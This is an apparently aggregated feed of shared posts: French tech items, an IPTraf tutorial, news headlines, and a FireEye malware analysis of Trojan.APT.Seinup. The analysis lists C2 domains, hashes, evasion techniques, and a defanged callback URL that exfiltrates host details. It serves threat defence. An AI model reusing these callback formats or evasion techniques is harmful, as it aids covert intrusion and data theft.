Hugo.allamel
Shared posts
A3G, la protéine miracle des « contrôleurs du VIH »
Subo, le kayak sous-marin personnel
Voici le Subo, le premier kayak/sous-marin autonome au monde !
Conçu par Olivier Feuillette, ancien kayakiste Français de freestyle expatrié en Afrique du Sud, ce submersible s'utilise comme un kayak, et peut passer en mode sous marin pour naviguer de manière autonome pendant une heure à plusieurs mètres de profondeur.
Sous l'eau, il est propulsé comme les poissons par une queue oscillante actionnée par un pédalier. L'oxygène est fourni par des bouteilles de plongée classiques. Ne reste plus qu'à oser défier les requins !
- Vidéo (4mn40s) :
Subo, le kayak sous-marin
Sur le même sujet :
Cet article Subo, le kayak sous-marin personnel est apparu en premier sur Koreus.com.
Noireaude : IPTraf – Contrôlez le trafic de vos interfaces réseau sous GNU/Linux

Si vous avez besoin d’un petit utilitaire servant à analyser rapidement (et facilement) le trafic transitant par vos connexions réseau, IPTraf est sans doute le soft qu’il vous faut. Celui-ci va vous permettre d’obtenir en temps réel les statistiques TCP, ICMP, OSPF, le comptage UDP, Ethernet, ainsi que des informations sur la charge, les statistiques de nœuds et les erreurs checksum IP. Il va vous permettre également de loguer tout ça dans des rapports complets, générés à intervalles réguliers (toutes les 10 minutes par exemple). En gros c’est l’outil idéal pour diagnostiquer certains problèmes et effectuer rapidement quelques vérifications de base, si vous remarquez par exemple un ralentissement inexpliqué de votre débit de connexion.
De plus (et ce n’est sans doute pas fait pour déplaire à certains d’entre vous) si IPTraf se lance en ligne de commande et fonctionne dans une session terminal, vous n’avez pas besoin pour autant d’être une « brutasse » du shell pour pouvoir vous en servir. En dehors de la première commande le reste consistera à naviguer de menu en menu, à l’aide des flèches de votre clavier et de la touche Enter.
Installation :
IPTraf est disponible dans les dépôts officiels des principales distributions GNU/Linux et nous allons voir rapidement à quoi il ressemble sur Ubuntu. Nous allons donc commencer par l’installer à l’aide de la commande suivante;
sudo apt-get install iptraf
et le lancer ensuite avec celle-ci (nécessite les droits root) :
sudo iptraf
Vous voilà prêts à démarrer!
Utilisation :
Comme vous pouvez le voir sur la capture ci-dessous, vous arrivez sur un menu principal qui va vous permettre de démarrer tout de suite ou de sélectionner des paramètres avancés (option Configure). Vous serez ainsi en mesure de créer des filtres (option Filters) afin d’exclure certains ports ou protocoles des statistiques et bien d’autres choses encore.
NB : Celles-ci peuvent êtres activées ou désactivées à l’aide de ON/OFF.
Ici nous allons choisir l’option « IP traffic monitor », qui comme son nom l’indique va nous permettre d’analyser les statistiques réseaux en résolvant les adresses IP.
Comme avec tous les softs du même genre, il vous sera demandé de choisir l’interface réseau à écouter qui sera ici Wlan0.
Le résultat ne se fait pas attendre et les infos arrivent très vite, sans avoir eu à entrer 10 000 lignes de commande.
Conclusion :
Alors bien entendu il ne s’agit là que d’un tout petit exemple d’utilisation qui n’est rien à côté de tout ce que va vous permettre de faire IPTraf. Si vous avez besoin d’un soft de ce genre je vous conseille vivement de l’essayer. Il n’est certes pas aussi complet que Wireshark mais il est léger, simple à utiliser et vraiment très puissant. Dans la plus part des cas il sera largement suffisant.
J’ai vraiment adoré personnellement.
Pour finir je vous rappelle qu’IPtraf est disponible sur les autres distributions GNU/Linux via les dépôts officiels ou cette page et sur Archlinux via AUR.
Amusez-vous bien, bonne découverte et bonne écoute.
Original post of Noireaude.Votez pour ce billet sur Planet Libre.
Articles similaires
- Noireaude : Installez TLP sous GNU/Linux et améliorez l’autonomie de vos batteries (cascadeurs) (17/04/2013)
- Noireaude : Monitoring – Gardez un œil sur les utilisateurs de votre système GNU/Linux avec Psacct / Acct Tools (11/05/2013)
- Noireaude : Surveillez facilement vos connexions réseau sur GNU/Linux grâce à Netactview (17/05/2013)
- Noireaude : Bootchart – Analysez le démarrage de votre système GNU/Linux (12/07/2013)
- Noireaude : Pipelight – Installer facilement Silverlight dans Firefox sous GNU/Linux (20/08/2013)
Renaud Littolff : Protégé : Le meilleur dev de france ?
Cet article est protégé par un mot de passe. Pour le lire, veuillez saisir votre mot de passe ci-dessous :
Mot de passe :
Original post of Renaud Littolff.Votez pour ce billet sur Planet Libre.
Hack the iPhone 5S, get $16k
The US hacking community has put together a reward of $16,000 for the first person to hack the new iPhone 5S' fingerprint scanner.
Hackers Pool Together A Reward For First To Hack iPhone's Fingerprint Reader
For hackers, the iPhone 5s's Friday release marks the start of a race to crack its new fingerprint reader.
Free Mobile : Toujours plus d'antennes 4G et 50% de couverture en 3G avec son propre réseau
Salon du Bourget : les réseaux Orange et SFR aux abonnés absents
Trojan.APT.Seinup Hitting ASEAN
1. Executive Summary
The FireEye research team has recently identified a number of spear phishing activities targeting Asia and ASEAN. Of these, one of the spear phishing documents was suspected to have used a potentially stolen document as a decoy. The rich and contextual details (body and metadata) which are not available online lead us to believe this was stolen. This decoy document mentioned countries such as Brunei, Cambodia, Indonesia, Laos, Malaysia, Myanmar, Philippines, Singapore, Thailand, and Vietnam, which leads us to suspect that these countries are targeted. As the content of this decoy document is suspected to be a stolen sensitive document, the details will not be published.
This malware was found to have used a number of advance techniques which makes it interesting:
- The malware leverages Google Docs to perform redirection to evade callback detection. This technique was also found in the malware dubbed “Backdoor.Makadocs” reported by Takashi Katsuki (Katsuki, 2012).
- It is heavily equipped with a variety of cryptographic functions to perform some of its functions securely.
- The malicious DLL is manually loaded into memory which hides from DLL listing.
As depicted in the diagram below, the spear phishing document (which exploits CVE-2012-0158) creates a decoy document and a malware dropper named exp1ore.exe. This dropper will then drop wab.exe (Address Book Application) and wab32res.dll (malicious DLL) inside the temp folder. By running wab.exe, the malicious DLL named wab32res.dll (located within the same folder) will be loaded using DLL side-loading technique. This will in turn install a copy of wab32res.dll as msnetrsvw.exe inside the windows directory to be registered as Windows service. By registering as a Windows service, it allows the malware to survive every reboot and persist on the network.
Figure 1 Infection Flow
This malware is named “Trojan.APT.Seinup” because one of its export functions is named “seinup”. This malware was analysed to be a backdoor that allows the attacker to remote control the infected system.
Figure 2 Exported Functions
2. Related APT Domain and MD5
Based on our threat intelligence and reverse-engineering effort, below are some related domain and MD5 sums. Please note that some of the domain/IP association may change.
2.1. Related Domain
|
Domain/URL |
IP |
Country |
Comments |
| elizabearden.com | 124.172.243.211 | CN | Registrar: XIN NET TECHNOLOGY CORPORATIONEmail: liangcheng04@sina.com |
| dnsserviceonline.com | 50.117.115.83 | CN | Registrar: XIN NET TECHNOLOGY CORPORATIONEmail: liangcheng04@sina.com |
| 50.117.115.84 | |||
| 50.117.120.235 | |||
| 69.46.84.51 | |||
| symteconline.com | 175.100.206.183 | CN | Registrar: XIN NET TECHNOLOGY CORPORATIONEmail: Smartwise9851@yahoo.com |
| winshell.net | 58.64.190.34 | HK | Registrar: SHANGHAI MEICHENG TECHNOLOGY INFORMATION DEVELOPMENT CO., LTD.Email: richardmatind@yahoo.com |
| philnewsonline.com | 50.93.198.128 | US | Registrar: GODADDY.COM, LLCEmail: woooyeahh11@yahoo.com |
| www.info-week.com | 173.254.197.213 | US | Registrar: GODADDY.COM, LLCEmail: woooyeahh11@yahoo.com |
| go-twitter.com | 50.93.198.113 | US | Registrar: GODADDY.COM, LLCEmail: woooyeahh11@yahoo.com |
2.2. Associated Files
|
Name |
MD5 |
Comments |
| Spear-phishing document and decoy document | CONFIDENTIAL | CONFIDENTIAL |
| iexp1ore.exe | 137F3D11559E9D986D510AF34CB61FBC | Dropper |
| wab.exe | CE67AAA163A4915BA408B2C1D5CCC7CC | Benign Address Book Application |
| wab32res.dll | FB2FA42F052D0A86CBDCE03F5C46DD4D | Malware to be side loaded when wab.exe is launched. |
| msnetrsvw.exe | FB2FA42F052D0A86CBDCE03F5C46DD4D | Malware to be installed as a service. Note: This is the same as wab32res.dll. |
| baf227a9f0b21e710c65d01f2ab01244 | Calls to www.elizabearden.com:80 | |
| 0845f03d669e24144df785ee54f6ad74 | Calls to www.dnsserviceonline.com:80 | |
| d64a22ea3accc712aebaa047ab818b07 | Calls to www.elizabearden.com:80 | |
| 56e6c27f9952e79d57d0b32d16c26811 | Calls to www.elizabearden.com:80 | |
| cdd969121a2e755ef3dc1a7bf7f18b24 | Calls to www.elizabearden.com:80 | |
| 709c71c128a876b73d034cde5e3ec1d3 | Calls to www.dnsserviceonline.com:80 |
3. Interesting Technical Observations
3.1. Redirection Using Google Docs
By connecting the malicious server via Google Docs, the malicious communication is protected by the legitimate SSL provided by Google Docs (see Figure below). One possible way to examine the SSL traffic is to make use of a hardware SSL decrypter within an organisation. Alternatively, you may want to examine the usage pattern of the users. Suppose a particular user accesses Google Docs multiple times a day, the organization’s Incident Response team may want to dig deeper to find out if the traffic is triggered by a human or by malware.
Figure 3 Retrieve Command via Google Docs
Below is the code that is used to construct a URL that retrieves command via Google Docs. First, the malicious URL is constructed and then encoded. Next, the malware simply leverages the Google Docs viewer to retrieve the command from the malicious server (see Figure below). 
Figure 4 View Command via GoogleDocs
3.2. Zero-Skipping XOR Encryption
The shellcode encryption technique is fairly standard. The shellcode has a decryption stub which decrypts its body using the XOR key 0x9E, and this shellcode is used to extract exp1ore.exe(malware) and Wor.doc (benign document).
The exp1ore.exe and Wor.doc were found within the spear phishing document encrypted using the same key (0xFC) and technique. The XOR key decrypts only a non-zero byte (see Figure 5). This prevents statistical methods of recovering the XOR key. The encrypted executable file and benign document were identified to be located inside the spear phishing document at offsets 0×2509 and 0×43509 respectively.
Figure 5 Zero Skipping XOR Encryption
Even though statistical methods may not be useful in identifying the XOR key as the zero bytes are not encrypted, we could use some of the “known” strings below to hunt for the XOR key in this situation. By sliding the known string across the array of bytes to perform a windowed XOR, the key would be revealed when the encoded data is XORed with the known string.
- “This program cannot be run in DOS mode”
- “KERNEL32.dll”
- “LoadLibraryA”
3.3. Deployment of Various Cryptographic Functions
3.3.1. Secure Callback
The malware performs the callback in a secure manner. It uses a custom Base64 map to encode its data, and creates a salted digital thumbprint to allow validation of data.
Below describes the steps to validate a callback using an example of the following URL:
hxxp://www.elizabearden.com/waterphp/BYyH.php?dEIXozUlFzx=5P&wDq=6QeZky42OCQOLQuZ6dC2LQ7F56iAv6GpH6S+w8npH5oAZk==&k4fJdSp7=cc3237bc79192a096440faca0fdae10&GvQF2lotIr5bT2=349118df672db38f9e65659874b60b27
The URL could be generalised as follows:
Domain/<PHP>?<rand 11-13 char>=<A’>&<rand 3-5 char>=<B’>&<rand 7-9 char>=<C’>&<rand 14-16 chars>=<D’>
The definition of A’, B’, C’ and D’ are as follows:
Let H be the function which encodes binary into hexadecimal characters prepend with “%”, if it is not alphanumeric, dash, underscore or dot.
Let B64 be the base 64 encoder using the following custom map, “URPBnCF1GuJwH2vbkLN6OQ/5S9TVxXKZaMc8defgiWjmo7pqrAstyz0D+El3I4hY”.
Let PT be the plain text which is in the form of “<HostName>[<RunType>]:<IPAddress>{1}”, where HostName and IPAddress are string, and RunType is a character.
Let A be the random of 3 to 7 characters, and A’ = H(A)
Let B be B64 (PT), and B’ = H(B)
Let C be 32 char deliminator, and C’ = H(C)
Let D be H( MD5 ( salt + MD5 ( B64(PT) + A + C ) ) ), salt = “%^^*HFH)*$FJK)234sd2N@C(JGl2z94cg23″ , and D’ = H(D)
Hence, in this case, the specific malicious URL could be applied as follows:
Domain/<PHP> = http://www.elizabearden.com/waterphp/BYyH.php
A’ = “5Pb”
B’ = “6QeZky42OCQOLQuZ6dC2LQ7F56iAv6GpH6S%2Bw8npH5oAZk==”
C’ = “cc3237bc79192a096440faca0fdae107”
D’ = “349118df672db38f9e65659874b60b27” (This is the digital signature)
The hash could be verified as follow:
B64(PT) + A + C = “6QeZky42OCQOLQuZ6dC2LQ7F56iAv6GpH6S+w8npH5oAZk==” + “5Pb” + “cc3237bc79192a096440faca0fdae107”
MD5 (B64(PT) + A + C) = “766cf9e96c1a508c59f7ade1c50ecd28”
MD5 (salt + MD5(B64(PT) + A + C)) = MD5 ( “%^^*HFH)*$FJK)234sd2N@C(JGl2z94cg23” + “766cf9e96c1a508c59f7ade1c50ecd28”)
= 349118df672db38f9e65659874b60b27 (This equals to D’, which means verified)
The encoded plain text (B) could be recovered:
B64(PT) = “6QeZky42OCQOLQuZ6dC2LQ7F56iAv6GpH6S+w8npH5oAZk==”;
PT = “MY_COMPUTER_NAME[F]:192.168.1.1{1}”, where “MY_COMPUTER_NAME” is the hostname, ‘F’ is the run type, “192.168.1.1” is the IP address.
Note: This example is mocked up using a dummy computer name and IP address.
The python code below could be used to decode the custom encoded string (see Figure below).
Figure 6 Python to Decode a Custom Base 64
3.3.2. Random Generator Using Mersenne Twister Algorithm
The malware was found to perform a callback at random intervals so as to evade network investigation when looking for network connections that are performed in a regular interval. Additionally, even the name of the parameters in the get string have a random length and name, which makes it hard to create a fix signature to detect such callbacks (see 3.3.1 to understand how a callback is created).
Figure 7 Mersenne Twister Algorithm Seeding function
3.4. In-Memory Only Malicious Code
On the disk, the malicious code is either encrypted or compressed to evade scanning using signature rules. Only upon being loaded into memory, does the malicious code (that appears to be in the form of a DLL) get manually loaded without the use of Windows 32 API. In this way, when an investigation is performed, the malicious DLL is not revealed. Additionally, it makes it much harder for analysis to be performed.
Figure 8 Segments in the memory which contains the malicious code
Taking a deeper look at the decrypted malicious code, this malware was found to contain at least the following functions:
- Download file
- Download and execute or load library
- Change sleep duration
- Open and close interactive sessions
4. Conclusion
Malware is increasingly becoming more contextually advanced. It attempts to appear as much as possible like legitimate software or documents. In this example, we would conclude the following.
- A potentially stolen document was used as a decoy document to increase its credibility. It is also a sign that the compromised organisations could be used as a soft target to compromise their business partners and allies.
- It is important to put a stop to the malware infection at the very beginning, which is the exploitation phase. Once a network is compromised, it is increasingly harder to detect such threats.
- Anti-incident response/forensic techniques are increasingly used to evade detection. It would require a keen eye on details and a wealth of experience to identify all these advance techniques.
5. Works Cited
Carnegie Mellon University. (n.d.). Retrieved from http://www.cs.cmu.edu/~fp/courses/15122-f10/misc/rand/mersenne.c0
Katsuki, T. (19 Nov, 2012). Malware Targeting Windows 8 Uses Google Docs. Retrieved from http://www.symantec.com/connect/blogs/malware-targeting-windows-8-uses-google-docs-0
I would like to thank several colleagues for their significant contributions on this post: Darien Kindlund, Ned Moran, Nart Villeneuve, and Thoufique Haq.
This man exposes his d at feminist rally
Hugo.allamelil est heureux :)
Piratage de données bancaires : coup de filet en France
Connaissance du 12/06/2013
Tianhe-2 : la Chine explose le record de puissance des superordinateurs avec 30,65 Petaflops
I don't remember ever living a day in Canada that looked anything like this....
Hugo.allamelsacrée Aksam
























